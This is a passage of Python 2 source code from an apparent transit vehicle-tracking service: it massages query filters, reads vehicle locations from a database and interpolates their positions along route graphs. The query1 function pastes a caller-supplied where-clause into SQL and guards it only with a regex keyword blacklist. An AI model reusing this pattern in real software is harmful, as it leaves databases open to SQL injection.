'dir_tag like \\'%%\\\\_0\\\\_%%\\'', r)\n\tr = re.sub('dir *= *1', 'dir_tag like \\'%%\\\\_1\\\\_%%\\'', r)\n\tr = re.sub('dir +blank', 'dir_tag = \\'\\'', r)\n\treturn r\n\ndef massage_whereclause_route_args(whereclause_):\n\tr = whereclause_\n\tr = re.sub(r'route += +(\\w+)', 'fudgeroute = \\'\\\\1\\'', r)\n\treturn r\n\ndef massage_whereclause_vid_args(whereclause_):\n\tr = whereclause_\n\tr = re.sub(r'vid *= *(\\w+)', 'vehicle_id = \\'\\\\1\\'', r)\n\treturn r\n\ndef massage_whereclause(whereclause_):\n\tr = whereclause_\n\tr = massage_whereclause_time_args(r)\n\tr = massage_whereclause_lat_args(r)\n\tr = massage_whereclause_lng_args(r)\n\tr = massage_whereclause_dir_args(r)\n\tr = massage_whereclause_route_args(r)\n\tr = massage_whereclause_vid_args(r)\n\tr = make_whereclause_safe(r)\n\tprinterr('Post-massage sql str: '+r)\n\treturn r\n\n# returns a list of lists of VehicleInfo objects. each sub-list represents a timeslice. \n@lock\ndef query1(whereclause_, maxrows_, interp_):\n\tassert type(whereclause_) == str and type(maxrows_) == int and type(interp_) == bool\n\twhereclause = massage_whereclause(whereclause_)\n\tsqlstr = 'select '+VI_COLS+' from ttc_vehicle_locations where ' \\\n\t\t+ (whereclause if whereclause else 'true')+' order by time desc limit %d' % (maxrows_)\n\tcurs = conn().cursor()\n\tcurs.execute(sqlstr)\n\tall_vis = []\n\tfor row in curs:\n\t\tall_vis.append(vinfo.VehicleInfo.from_db(*row))\n\tcurs.close()\n\twork_around_secssincereport_bug(all_vis)\n\tif interp_:\n\t\tvid_to_raw_vis = file_under_key(all_vis, lambda vi: vi.vehicle_id)\n\t\tvid_to_interptime_to_vi = {}\n\t\tfor vid, raw_vis in vid_to_raw_vis.iteritems():\n\t\t\tvid_to_interptime_to_vi[vid] = interp(sorted(raw_vis, key=lambda vi: vi.time), False, False)\n\t\ttimes = set(sum((interptime_to_vi.keys() for interptime_to_vi in vid_to_interptime_to_vi.itervalues()), []))\n\t\tstarttime = min(times); endtime = max(times)\n\t\tall_vis = get_locations_clientside_list(vid_to_interptime_to_vi, TimeWindow(starttime, endtime))\n\telse:\n\t\tall_vis = group_by_time(all_vis)\n\treturn all_vis\n\ndef make_whereclause_safe(whereclause_):\n\treturn re.sub('(?i)insert|delete|drop|create|truncate|alter|update|;', '', whereclause_)\n\n# arg direction_ can be an integer direction (0 or 1) or a pair of LatLngs from which we will infer that integer direction.\n# returns a list of 'timeslices'. A timeslice is a list of vis with a timestamp string prepended.\ndef get_recent_vehicle_locations(fudgeroute_, num_minutes_, direction_, datazoom_, time_window_end_, log_=False):\n\tassert (fudgeroute_ in routes.NON_SUBWAY_FUDGEROUTES) and type(num_minutes_) == int and datazoom_ in c.VALID_DATAZOOMS \n\tdirection = massage_direction(direction_, fudgeroute_)\n\tvid_to_vis = get_vid_to_vis_bothdirs(fudgeroute_, num_minutes_, time_window_end_, log_=log_)\n\ttime_window_start = time_window_end_ - num_minutes_*60*1000\n\ttime_window = TimeWindow(time_window_start, time_window_end_)\n\tvid_to_interptime_to_vi = {}\n\tfor vid, vis in iteritemssorted(vid_to_vis):\n\t\tif log_:\n\t\t\tprinterr('For locations, pre-interpolation: vid %s: %d vis, from %s to %s (widemofrs %d to %d)' \\\n\t\t\t\t% (vid, len(vis), em_to_str_hms(vis[0].time), em_to_str_hms(vis[-1].time), vis[0].widemofr, vis[-1].widemofr))\n\t\t\tfor vi in vis:\n\t\t\t\tprinterr('\\t%s' % vi)\n\t\tvid_to_interptime_to_vi[vid] = \\\n\t\t\t\tinterp(vis, True, True, direction, datazoom_, time_window, log_=log_)\n\treturn get_locations_clientside_list(vid_to_interptime_to_vi, time_window, log_=log_)\n\ndef massage_direction(direction_, fudgeroute_):\n\tassert direction_ in (0, 1) or (len(direction_) == 2 and all(isinstance(e, geom.LatLng) for e in direction_))\n\tif direction_ in (0, 1):\n\t\treturn direction_\n\telse:\n\t\treturn routes.routeinfo(fudgeroute_).dir_from_latlngs(direction_[0], direction_[1])\n\n# Return only elements for which predicate is true. (It's a one-argument predicate. It takes one element.)\n# Group them as they appeared in input list as runs of trues.\ndef get_maximal_sublists(list_, predicate_):\n\tcur_sublist = None\n\tr = []\n\tfor e in list_:\n\t\tif predicate_(e):\n\t\t\tif cur_sublist is None:\n\t\t\t\tcur_sublist = []\n\t\t\t\tr.append(cur_sublist)\n\t\t\tcur_sublist.append(e)\n\t\telse:\n\t\t\tcur_sublist = None\n\treturn r\n\n# Fetch some rows before startime (or after endtime), to give us something to interpolate with.\n@lock\ndef get_outside_overshots(froute_, vilist_, time_window_boundary_, forward_in_time_, n_=1, log_=False):\n\tforward_str = ('forward' if forward_in_time_ else 'backward')\n\tif not vilist_:\n\t\treturn []\n\tr = []\n\tfor vid in set([vi.vehicle_id for vi in vilist_]):\n\t\tassert vid\n\t\tvis_for_vid = [vi for vi in vilist_ if vi.vehicle_id == vid]\n\t\tassert all(vi1.time >= vi2.time for vi1, vi2 in hopscotch(vis_for_vid)) # i.e. is in reverse order \n\t\tassert set(vi.fudgeroute for vi in vis_for_vid).issubset(set([froute_, '']))\n\n\t\tnum_overshots_already_present = num_outside_overshots_already_present(vis_for_vid, time_window_boundary_, forward_in_time_)\n\t\tif num_overshots_already_present >= n_:\n\t\t\tif log_: printerr('Don\\'t need to get overshots for vid %s. (Might need to get \"more\" overshots though.)' % vid)\n\t\telse:\n\t\t\tnum_more_overshots_to_get = n_ - num_overshots_already_present\n\t\t\tvid_extreme_time = vis_for_vid[0 if forward_in_time_ else -1].time\n\t\t\tif log_: printerr('Looking for %s overshots for vid %s. Time to beat is %s.' % (forward_str, vid, em_to_str(vid_extreme_time)))\n\t\t\tsqlstr = 'select '+VI_COLS+' from ttc_vehicle_locations ' \\\n\t\t\t\t+ ' where vehicle_id = %s and fudgeroute in (\\'\\', %s) and time_retrieved < %s and time_retrieved > %s '\\\n\t\t\t\t+ ' order by time '+('' if forward_in_time_ else 'desc')+' limit %s'\n\t\t\tcurs = conn().cursor()\n\t\t\tquery_times = [time_window_boundary_+20*60*1000, vid_extreme_time] if forward_in_time_ else [vid_extreme_time, time_window_boundary_-20*60*1000]\n\t\t\targs = [vid, froute_] + query_times + [num_more_overshots_to_get]\n\t\t\tcurs.execute(sqlstr, args)\n\t\t\tfor row in curs:\n\t\t\t\tvi = vinfo.VehicleInfo.from_db(*row)\n\t\t\t\tif log_: printerr('Got %s outside overshot: %s' % (forward_str, str(vi)))\n\t\t\t\tr.append(vi)\n\t\t\tcurs.close()\n\t\tvis_for_vid = [vi for vi in r if vi.vehicle_id == vid]\n\t\tr += get_outside_overshots_more(froute_, vis_for_vid, time_window_boundary_, forward_in_time_, log_=log_)\n\n\treturn r\n\ndef num_outside_overshots_already_present(single_vid_vis_, time_window_boundary_, forward_in_time_):\n\tassert len(set(vi.vehicle_id for vi in single_vid_vis_)) <= 1\n\tdef is_overshot(vi__):\n\t\treturn (vi__.time > time_window_boundary_ if forward_in_time_ else vi__.time < time_window_boundary_)\n\tovershots_already_present = [vi for vi in single_vid_vis_ if is_overshot(vi)]\n\treturn len(overshots_already_present) \n\t\n\n# This function is for when we want to look back far enough to see a change in mofr, so that we can determine the\n# direction of a long-stalled vehicle.\n@lock\ndef get_outside_overshots_more(froute_, vis_so_far_, time_window_boundary_, forward_in_time_, log_=False):\n\tassert len(set(vi.vehicle_id for vi in vis_so_far_)) <= 1\n\tassert set(vi.fudgeroute for vi in vis_so_far_).issubset(set([froute_, '']))\n\tr = []\n\tmore_vis = []\n\tif not forward_in_time_ and len(vis_so_far_) > 0:\n\t\tvid = vis_so_far_[0].vehicle_id\n\t\tassert vid\n\t\tr_mofr_min = min(vi.mofr for vi in vis_so_far_); r_mofr_max = max(vi.mofr for vi in vis_so_far_)\n\t\tif (r_mofr_max != -1) and (r_mofr_max - r_mofr_min < 50): # 50 metres = small, typical GPS errors.\n\t\t\tcurs = conn().cursor()\n\t\t\tsqlstr = 'select '+VI_COLS+' from ttc_vehicle_locations '\\\n\t\t\t\t\t + ' where vehicle_id = %s and fudgeroute in (\\'\\', %s) and time_retrieved <= %s and time_retrieved >= %s '\\\n\t\t\t\t\t + ' order by time '+('' if forward_in_time_ else 'desc')+' limit %s'\n\t\t\tcurs.execute(sqlstr, [vid, froute_, vis_so_far_[-1].time, time_window_boundary_-6*60*60*1000, 999999])\n\t\t\tfor row in curs:\n\t\t\t\tvi = vinfo.VehicleInfo.from_db(*row)\n\t\t\t\tmore_vis.append(vi)\n\t\t\t\tif (vis_so_far_ + more_vis)[-1].time - (vis_so_far_ + more_vis)[-2].time > 10*60*1000:\n\t\t\t\t\tdel r[:] # Large time gap in these samples? Not worth it. This code is intended for typical stalled vehicles\n\t\t\t\t\tbreak # and every one I've looked at reports in several times per minute, save as every other vehicle.\n\t\t\t\tmofr_change_including_more_r = max(r_mofr_max, vi.mofr) - min(r_mofr_min, vi.mofr)\n\t\t\t\tif mofr_change_including_more_r > 50:\n\t\t\t\t\tif log_:\n\t\t\t\t\t\tprinterr('Looked back more for vid %s. Got %d more vis:' % (vid, len(more_vis)))\n\t\t\t\t\t\tfor vi in more_vis:\n\t\t\t\t\t\t\tprinterr('\\t%s' % vi)\n\t\t\t\t\tbreak\n\t\t\tcurs.close()\n\treturn more_vis\n\n\ndef group_by_time(vilist_):\n\ttimes = sorted(list(set([vi.time for vi in vilist_])))\n\tr = [[em_to_str(time)] for time in times]\n\tfor vi in vilist_:\n\t\ttime_idx = times.index(vi.time)\n\t\tr[time_idx].append(vi)\n\treturn r\n\ng_interp_patchcache_vid_to_infos = defaultdict(list)\ng_interp_patchcache_prune_counter = 0\n\n# note [1]: This is for the scenario of eg. this function is meant to get \n# dir=1, and we're looking at a vehicle for which raw vis exist\n# at mofr=0 @ 12:00, mofr=1000 @ 12:15, and mofr=1100 @ 12:16. The vehicle was \n# probably going in dir=0 between\n# 12:00 and 12:15, but that doesn't matter. What matters is that if we're not \n# careful, we will interpolate inappropriately\n# between 12:00 and 12:15 - though probably just 3 minutes after 12:00 and 3 \n# minutes before 12:15, as 3 minutes is our current\n# hi/lo time gap max for interpolation - you can also see this below. But \n# does it make sense for us to return something like mofr=67 for 12:01,\n# mofr=134 for 12:02, etc. (making these interpolated returned vis effectively \n# dir=0)? No it does not. It's not what the user asked\n# for (they asked for dir=1 vehicles) and it looks awful too - looking at \n# vehicles going both directions on a route is visual chaos and\n# makes it a lot harder to make sense of the dir=1 vehicles that they do want \n# to see.\ndef interp(vis_, be_clever_, current_conditions_, dir_=None, datazoom_=None, time_window_=None, log_=False):\n\tassert isinstance(vis_, Sequence) and vinfo.same_vid(vis_)\n\tif len(vis_) == 0:\n\t\treturn []\n\tvid = vis_[0].vehicle_id\n\told_info, num_old_vis_lost = get_interp_info_from_patchcache(vis_, be_clever_, current_conditions_, dir_, datazoom_, time_window_)\n\tstarttime = (round_up_by_minute(time_window_.start) if time_window_ else round_down_by_minute(min(vi.time for vi in vis_)))\n\tendtime = (round_up_by_minute(time_window_.end) if time_window_ else max(vi.time for vi in vis_))\n\tinterptimes = list(lrange(starttime, endtime+1, 60*1000))\n\tgrades, paths = get_grade_stretch_info(vis_, time_window_, be_clever_, log_)\n\tif old_info is None:\n\t\tinterptime_to_vi = dict((interptime, None) for interptime in interptimes)\n\t\timportant_vi_idxes = None\n\t\tif log_: printerr('Not using patch-cache for interp of vid %s' % vid)\n\telse:\n\t\tinterptime_to_vi = old_info.r_interptime_to_vi.copy()\n\t\tfor interptime in interptime_to_vi.keys():\n\t\t\tif interptime not in interptimes:\n\t\t\t\tdel interptime_to_vi[interptime]\n\n\t\timportant_vi_idxes = set()\n\t\tfor new_idx in xrange(len(vis_)):\n\t\t\told_idx = new_idx + num_old_vis_lost\n\t\t\tif new_idx < 2 or old_idx >= len(old_info.vis)-2 or old_info.grades[old_idx] != grades[new_idx] \\\n\t\t\t\t\tor old_info.paths[old_idx] != paths[new_idx]:\n\t\t\t\timportant_vi_idxes.add(new_idx)\n\n\t\tif log_:\n\t\t\tprinterr('Using patch-cache for interp of vid %s' % vid)\n\t\t\tprinterr('old vis:')\n\t\t\tfor i, vi in enumerate(old_info.vis):\n\t\t\t\tprinterr('[%2d] %s' % (i, vi))\n\t\t\tprinterr('new vis:')\n\t\t\tfor i, vi in enumerate(vis_):\n\t\t\t\tprinterr('[%2d] %s' % (i, vi))\n\t\t\tprinterr('Important indexes in new vis: %s' % sorted(important_vi_idxes))\n\n\tif log_: printerr('Interpolating locations for vid %s...' % vid)\n\tassert is_sorted(vis_, key=lambda vi: vi.time)\n\tinterp_impl(interptime_to_vi, interptimes, important_vi_idxes, vis_, grades, paths, \n\t\t\tbe_clever_, current_conditions_, dir_, datazoom_, log_)\n\tif log_: printerr('Finished interpolating locations for vid %s.' % vid)\n\tprune_interp_patchcache(time_window_)\n\tif interp_should_use_patchcache(be_clever_, current_conditions_, dir_, datazoom_, time_window_):\n\t\tg_interp_patchcache_vid_to_infos[vid].append(\n\t\t\t\t(InterpInfo(vis_, time_window_, dir_, datazoom_, grades, paths, interptime_to_vi)))\n\treturn interptime_to_vi\n\ndef prune_interp_patchcache(time_window_):\n\tglobal g_interp_patchcache_prune_counter\n\tg_interp_patchcache_prune_counter += 1\n\tif g_interp_patchcache_prune_counter > 200:\n\t\tg_interp_patchcache_prune_counter = 0\n\t\tvids_to_remove = []\n\t\tfor vid, infos in g_interp_patchcache_vid_to_infos.iteritems():\n\t\t\tinfo_idxes_to_remove = []\n\t\t\tfor idx, info in enumerate(infos):\n\t\t\t\tif info.time_window.end <= time_window_.end - 1000*60*20:\n\t\t\t\t\tinfo_idxes_to_remove.append(idx)\n\t\t\tfor idx in info_idxes_to_remove[::-1]:\n\t\t\t\tdel infos[idx]\n\t\t\tif not infos:\n\t\t\t\tvids_to_remove.append(vid)\n\t\tfor vid in vids_to_remove:\n\t\t\tdel g_interp_patchcache_vid_to_infos[vid]\n\n# Note 238947623476324: here we're ignoring the direction of lo_vi for the same reason discussed at note 23946278623746. \n# \n# arg important_vi_idxes_: None means they're all important. Non-None means we're patching. \ndef interp_impl(r_interptime_to_vi_, interptimes_, important_vi_idxes_, vis_, grades_, paths_, \n\t\tbe_clever_, current_conditions_, dir_, datazoom_, log_):\n\tif important_vi_idxes_ is not None:\n\t\tassert isinstance(important_vi_idxes_, set)\n\t\tassert -1 not in important_vi_idxes_\n\t\tassert all(idx in range(len(vis_)) for idx in important_vi_idxes_)\n\tvid = vis_[0].vehicle_id\n\tfor interptime in interptimes_:\n\t\tlolo_vi, lo_vi, hi_vi, lolo_idx, lo_idx, hi_idx = get_nearest_time_vis(vis_, interptime)\n\t\tif important_vi_idxes_ is not None:\n\t\t\tif not any(idx in important_vi_idxes_ for idx in (lolo_idx, lo_idx, hi_idx)):\n\t\t\t\tcontinue\n\t\t\telif interptime in r_interptime_to_vi_:\n\t\t\t\tdel r_interptime_to_vi_[interptime]\n\t\ti_vi = None\n\t\ttime_ratio = 0.0\n\t\tif lo_vi and hi_vi:\n\t\t\tif be_clever_ and ((min(interptime - lo_vi.time, hi_vi.time - interptime) > 3*60*1000) or dirs_disagree(dir_, hi_vi.dir_tag_int)\\\n\t\t\t\t\tor (lo_vi.fudgeroute != hi_vi.fudgeroute)): # see note 238947623476324 \n\t\t\t\tcontinue\n\t\t\ttime_ratio = (interptime - lo_vi.time)/float(hi_vi.time - lo_vi.time)\n\t\t\tlo_grade = grades_[lo_idx]; hi_grade = grades_[hi_idx]\n\t\t\tif (lo_grade, hi_grade) in (('g', 'g'), ('g', 'r'), ('r', 'g')):\n\t\t\t\ti_latlon, i_heading, i_mofr = path_interp_single_latlonnheadingnmofr(\n\t\t\t\t\t\tlo_vi, hi_vi, time_ratio, lo_idx, hi_idx, grades_, paths_, log_)\n\t\t\telse:\n\t\t\t\ti_latlon, i_heading, i_mofr = \\\n\t\t\t\t\t\tnonpath_interp_single_latlonnheadingnmofr(lo_vi, hi_vi, time_ratio, datazoom_, be_clever_, log_)\n\t\t\ti_vi = vinfo.VehicleInfo(lo_vi.dir_tag, i_heading, vid, i_latlon.lat, i_latlon.lng,\n\t\t\t\t\t\t\t\t\t lo_vi.predictable and hi_vi.predictable,\n\t\t\t\t\t\t\t\t\t lo_vi.fudgeroute, lo_vi.route_tag, 0, interptime, interptime, i_mofr, None, \n\t\t\t\t\t\t\t\t\t None, None, None)\n\t\telif lo_vi and not hi_vi:\n\t\t\tif current_conditions_:\n\t\t\t\tif be_clever_ and ((interptime - lo_vi.time > 3*60*1000) or dirs_disagree(dir_, lo_vi.dir_tag_int)):\n\t\t\t\t\tcontinue\n\t\t\t\tif grades_[lo_idx] == 'g':\n\t\t\t\t\tlatlng, heading = paths_[lo_idx].get_piece(-1).mapl_to_latlngnheading('max')\n\t\t\t\telse:\n\t\t\t\t\tlatlng, heading = get_latlonnheadingnmofr_from_lo_sample(lolo_vi, lo_vi, datazoom_, be_clever_, log_)[:2]\n\t\t\t\ti_vi = vinfo.VehicleInfo(lo_vi.dir_tag, heading, vid, latlng.lat, latlng.lng,\n\t\t\t\t\t\tlo_vi.predictable, lo_vi.fudgeroute, lo_vi.route_tag, 0, interptime, interptime, lo_vi.mofr, lo_vi.widemofr, \n\t\t\t\t\t\tNone, None, None)\n\n\t\tif i_vi:\n\t\t\tr_interptime_to_vi_[interptime] = i_vi\n\t\t\tif log_:\n\t\t\t\tprinterr('vid %s, interpolation result for %s %s' % \n\t\t\t\t\t\t(vid, em_to_str_hms(interptime), ('(time ratio: %.2f)' % time_ratio if time_ratio else '')))\n\t\t\t\tprinterr('\\tlo: %s' % lo_vi)\n\t\t\t\tif hi_vi:\n\t\t\t\t\tprinterr('\\thi: %s' % hi_vi)\n\t\t\t\tprinterr('\\t==> %s' % i_vi)\n\ndef get_interp_info_from_patchcache(vis_, be_clever_, current_conditions_, dir_, datazoom_, time_window_):\n\tr = (None, None)\n\tshould_use_patchcache = interp_should_use_patchcache(be_clever_, current_conditions_, dir_, datazoom_, time_window_)\n\tvid = vis_[0].vehicle_id\n\tif should_use_patchcache:\n\t\tif vid in g_interp_patchcache_vid_to_infos:\n\t\t\tinfos = g_interp_patchcache_vid_to_infos[vid]\n\t\t\tinfo = max2((info for info in infos if info.args_match(dir_, datazoom_)), key=lambda info: info.time_window.end)\n\t\t\tif info is not None and info.time_window.span == time_window_.span \\\n\t\t\t\t\t\tand time_window_.end - 1000*60*20 < info.time_window.end < time_window_.end:\n\t\t\t\tearliest_new_vi_in_old_vis_idx = is_there_a_useful_vi_subseq_for_interp_patchcache(info.vis, vis_)\n\t\t\t\tif earliest_new_vi_in_old_vis_idx != -1:\n\t\t\t\t\tr = (info, earliest_new_vi_in_old_vis_idx)\n\treturn r\n\ndef is_there_a_useful_vi_subseq_for_interp_patchcache(old_vis_, new_vis_):\n\tfor vis in (old_vis_, new_vis_):\n\t\tassert vis\n\t\tassert is_sorted(vis, key=lambda vi: vi.time)\n\t\tassert len(set(vi.time for vi in vis)) == len(vis)\n\tr = -1\n\ttimekeyfunc = lambda vi: vi.time\n\tearliest_new_vi_time = new_vis_[0].time\n\tearliest_new_vi_in_old_vis_idx = find(old_vis_, earliest_new_vi_time, timekeyfunc)\n\tif earliest_new_vi_in_old_vis_idx != -1:\n\t\told_vis_subseq = old_vis_[earliest_new_vi_in_old_vis_idx:]\n\t\tif len(old_vis_subseq) > 5: # arbitrary \n\t\t\tnew_vis_subseq = new_vis_[:len(old_vis_subseq)]\n\t\t\tif are_lists_equal(old_vis_subseq, new_vis_subseq, vinfo.VehicleInfo.fast_partial_eq):\n\t\t\t\tr = earliest_new_vi_in_old_vis_idx\n\treturn r\n\ndef interp_should_use_patchcache(be_clever_, current_conditions_, dir_, datazoom_, time_window_):\n\treturn INTERP_USE_PATCHCACHE and be_clever_ and current_conditions_ and dir_ is not None \\\n\t\t\tand datazoom_ is not None and time_window_ is not None\n\nclass InterpInfo(object):\n\n\tdef __init__(self, vis_, time_window_, dir_, datazoom_, grades_, paths_, interptime_to_vi_):\n\t\tself.time_window = time_window_\n\t\tself.direction = dir_\n\t\tself.datazoom = datazoom_\n\t\tassert len(vis_) == len(grades_)\n\t\tself.vis = vis_ # these are the source vis, from the database. \n\t\tself.grades = grades_\n\t\tself.paths = paths_\n\t\tself.r_interptime_to_vi = interptime_to_vi_ # these are the generated, interpolated vis.\n\n\tdef args_match(self, dir_, datazoom_):\n\t\treturn (self.direction == dir_ and self.datazoom == datazoom_)\n\n\tdef latest_vi_dir(self):\n\t\treturn self.src_vi_time_to_dir[max(self.src_vi_time_to_dir.iterkeys())]\n\ndef path_interp_single_latlonnheadingnmofr(lo_vi_, hi_vi_, time_ratio_, lo_idx_, hi_idx_, grades_, paths_, log_):\n\tassert lo_vi_.vehicle_id == hi_vi_.vehicle_id\n\tlo_grade = grades_[lo_idx_]\n\tpath = paths_[lo_idx_ if lo_grade == 'g' else hi_idx_]\n\tpieceidx = get_piece_idx(lo_idx_, grades_)\n\ti_latlng, i_heading = get_latlngnheading_from_path(path, pieceidx, time_ratio_)\n\ti_mofr = None\n\tif log_:\n\t\tprinterr('vid %s path interpolation between %s and %s /\\n%s and %s:' % \\\n\t\t\t\t(lo_vi_.vehicle_id, lo_vi_.latlng, hi_vi_.latlng, lo_vi_.timestr, hi_vi_.timestr))\n\t\tprinterr('\\ttime_ratio=%.2f, pieceidx=%d' % (time_ratio_, pieceidx))\n\t\tprinterr('\\tpiece=%s' % path.latlngs(pieceidx))\n\t\tprinterr('\\tresult=%s' % i_latlng)\n\treturn (i_latlng, i_heading, i_mofr)\n\ndef get_latlngnheading_from_path(path_, pieceidx_, time_ratio_):\n\tpiece = path_.get_piece(pieceidx_)\n\tmapl = piece.length_m() * time_ratio_\n\treturn piece.mapl_to_latlngnheading(mapl)\n\ndef get_piece_idx(lo_idx_, grades_):\n\tr = -1\n\tfor i in range(lo_idx_, -1, -1):\n\t\tr += 1\n\t\tgrade = grades_[i]\n\t\tif grade != 'g':\n\t\t\tif grade == 'o':\n\t\t\t\tr -= 1\n\t\t\tbreak\n\treturn r\n\ndef get_grade_stretch_info(vis_, time_window_, be_clever_, log_):\n\tvid = vis_[0].vehicle_id\n\treturn get_grade_stretch_info_impl(tuple(vis_), time_window_, vis_[0].time, vis_[-1].time, be_clever_, vid, log_)\n\n# returns (grades, paths): \n# Both lists have the same length as vis_, and their elements correspond to vis_. \n# \t- grades: all elements are meaningful. values are 'r', 'g', or 'o'.\n#\t\t- paths: only indexes which have a value of 'g' in grades are not None. \n@lru_cache(100, posargkeymask=(0,1,1,1,1,1,1))\n# Re: lru_cache - It's important that this cache at least the maximum number of \n# vehicles that will ever appear in the locations \n# report for one route / one direction. If this cache size is even 1 less than \n# that, then every time around the loop over the datazooms in reports.py / \n# make_all_reports_and_insert_into_db_once(), these will be forgotten, and \n# performance will suffer badly. \ndef get_grade_stretch_info_impl(vis_, time_window_, t1_, t2_, be_clever_, vid_, log_):\n\tassert vis_ and vinfo.same_vid(vis_)\n\tassert is_sorted(vis_, key=lambda vi: vi.time)\n\n\tn = len(vis_)\n\n\tif not be_clever_:\n\t\treturn (['o']*n, [None]*n)\n\n\tif log_: printerr('Calculating grades for vid %s...' % vis_[0].vehicle_id)\n\n\toffroute = [vi.mofr == -1 for vi in vis_]\n\n\tdef mofr(i__):\n\t\treturn vis_[i__].mofr\n\n\t# Set the vis near the ends of on-route stretches to be off-route. \n\t# Precisely: all vis within GRAPH_SNAP_RADIUS of the last (or first) on-route vi \n\t# right before (or after) an off-route stretch (including that vi itself). \n\tstretches = get_maximal_sublists3(range(n), lambda i: offroute[i])\n\tfor stretchi in range(len(stretches)):\n\t\tstretch = stretches[stretchi]\n\t\tif not offroute[stretch[0]]:\n\t\t\tif stretchi > 0:\n\t\t\t\tref_mofr = mofr(stretch[0])\n\t\t\t\toffroute[stretch[0]] = True\n\t\t\t\tif log_: printerr('Set grade to OFF-ROUTE due to it being near end of on-route stretch:\\n%s' % vis_[stretch[0]])\n\t\t\t\tfor i in stretch[1:]:\n\t\t\t\t\tif abs(mofr(i) - ref_mofr) < c.GRAPH_SNAP_RADIUS:\n\t\t\t\t\t\toffroute[i] = True\n\t\t\t\t\t\tif log_: printerr('Set grade to OFF-ROUTE due to it being near end of on-route stretch:\\n%s' % vis_[i])\n\t\t\t\t\telse:\n\t\t\t\t\t\tbreak\n\t\t\tif stretchi < len(stretches) - 1:\n\t\t\t\tref_mofr = mofr(stretch[-1])\n\t\t\t\toffroute[stretch[-1]] = True\n\t\t\t\tif log_: printerr('Set grade to OFF-ROUTE due to it being near end of on-route stretch:\\n%s' % vis_[stretch[-1]])\n\t\t\t\tfor i in stretch[-2::-1]:\n\t\t\t\t\tif abs(mofr(i) - ref_mofr) < c.GRAPH_SNAP_RADIUS:\n\t\t\t\t\t\toffroute[i] = True\n\t\t\t\t\t\tif log_: printerr('Set grade to OFF-ROUTE due to it being near end of on-route stretch:\\n%s' % vis_[i])\n\t\t\t\t\telse:\n\t\t\t\t\t\tbreak\n\t\t\t\n\t# Set vis that are part of trivially short (distance-wise) on-route stretches to be off-route: \n\tstretches = get_maximal_sublists3(range(n), lambda i: offroute[i])\n\tfor stretchi in range(len(stretches)):\n\t\tstretch = stretches[stretchi]\n\t\tif not offroute[stretch[0]]:\n\t\t\tmofrs = [mofr(i) for i in stretch]\n\t\t\tmofr_span = max(mofrs) - min(mofrs)\n\t\t\tif mofr_span < c.GRAPH_SNAP_RADIUS:\n\t\t\t\tfor i in stretch:\n\t\t\t\t\toffroute[i] = True\n\t\t\t\t\tif log_: printerr('Set grade to OFF-ROUTE due to it being part of an on-route stretch that is too short:\\n%s' % vis_[i])\n\n\tgrades = ['o' if offroute[i] else 'r' for i in xrange(n)]\n\n\tif DISABLE_GRAPH_PATHS:\n\t\treturn (grades, [None]*n)\n\n\tsg = (tracks.get_snapgraph() if vis_[0].is_a_streetcar() else streets.get_snapgraph())\n\tfor i in xrange(n):\n\t\tif grades[i] == 'o':\n\t\t\tlocs = vis_[i].graph_locs\n\t\t\tif len(locs) > 0:\n\t\t\t\tgrades[i] = 'g'\n\n\tdef get_grade(stretch__):\n\t\treturn grades[stretch__[0]]\n\n\t# We can't use 'g' stretches of length 1 which are surrounded by either 'o' stretches or nothing. \n\t# So here we remove them and make them 'o'. \n\t# Because what would we do with them? There is no graph path between an 'o' point and a 'g' point - \n\t# that is, eg. the last 'o' point in the stretch before this length=1 'g' stretch. \n\t# This is unlike a length=1 'g' stretch which has an 'r' stretch before or after. Because \n\t# of our assumption that the (streetcar or street) graph is a superset of the route in question, \n\t# we can always get a graph path between an 'r' point and a 'g' point. \n\t# So here we filter out those useless stretches, both because they are useless, and because if we \n\t# don't, the find_multipath() code below will fail because it doesn't like being passed a latlngs \n\t# list of length 1. \n\tstretches = get_maximal_sublists3(range(n), lambda i: grades[i])\n\tfor i, stretch, isfirst, islast in enumerate2(stretches):\n\t\tif get_grade(stretch) == 'g' and len(stretch) == 1 and \\\n\t\t\t\t\t(isfirst or get_grade(stretches[i-1]) == 'o') and (islast or get_grade(stretches[i+1]) == 'o'):\n\t\t\tgrades[stretch[0]] = 'o'\n\t\t\tif log_: printerr('Set grades to \\'o\\' due to it being part of len=1 by itself:\\n%s' % vis_[stretch[0]])\n\n\tstretches = get_maximal_sublists3(range(n), lambda i: grades[i])\n\n\tpaths = [None]*n\n\tfor stretchi, stretch in enumerate(stretches):\n\t\tif get_grade(stretch) == 'g':\n\t\t\tlatlngs = [vis_[i].latlng for i in stretch]\n\t\t\tlocses = [vis_[i].graph_locs for i in stretch]\n\t\t\tpath_vis = [vis_[i] for i in stretch]\n\t\t\tif stretchi > 0 and get_grade(stretches[stretchi-1]) == 'r':\n\t\t\t\tvi = vis_[stretches[stretchi-1][-1]]\n\t\t\t\tlatlngs.insert(0, vi.latlng)\n\t\t\t\tlocses.insert(0, vi.graph_locs)\n\t\t\t\tpath_vis.insert(0, vi)\n\t\t\tif stretchi < len(stretches)-1 and get_grade(stretches[stretchi+1]) == 'r':\n\t\t\t\tvi = vis_[stretches[stretchi+1][0]]\n\t\t\t\tlatlngs.append(vi.latlng)\n\t\t\t\tlocses.append(vi.graph_locs)\n\t\t\t\tpath_vis.append(vi)\n\t\t\tif log_:\n\t\t\t\tprinterr('vid %s - latlngs / locses for stretch %d:' % (vid_, stretchi))\n\t\t\t\tfor i, (latlng, locs) in enumerate(zip(latlngs, locses)): \n\t\t\t\t\tprinterr('[%3d] %s, %s' % (i, latlng, locs))\n\t\t\tpath = sg.find_multipath(latlngs, path_vis, locses, log_)\n\t\t\tif path is None:\n\t\t\t\traise Exception('No multipath for:\\n%s' % '\\n'.join(['%s / %s' % x for x in zip(latlngs, locses)]))\n\t\t\tif log_:\n\t\t\t\tfirst_vi = vis_[stretch[0]]; last_vi = vis_[stretch[-1]]\n\t\t\t\tprinterr('vid %s - path for stretch %d (%s to %s):' % (vid_, stretchi, first_vi.timestr, last_vi.timestr))\n\t\t\t\tfor piecei, piecesteps in enumerate(path.piecestepses):\n\t\t\t\t\tprinterr('piece %d: %s' % (piecei, piecesteps))\n\t\t\t\tprinterr('vid %s - path for stretch %d, all latlngs: %s' % (vid_, stretchi, path.latlngs()))\n\t\t\tfor i in stretch:\n\t\t\t\tpaths[i] = path\n\n\tif log_:\n\t\tprinterr('vid %s - final grades:' % vid_)\n\t\tfor i, vi in enumerate(vis_):\n\t\t\tprinterr('\\t%s / %s: %s' % (vi.timestr, vi.latlng, grades[i]))\n\n\treturn (grades, paths)\n\n# Either arg could be None (i.e. blank dir_tag). For this we consider None to 'agree' with 0 or 1.\ndef 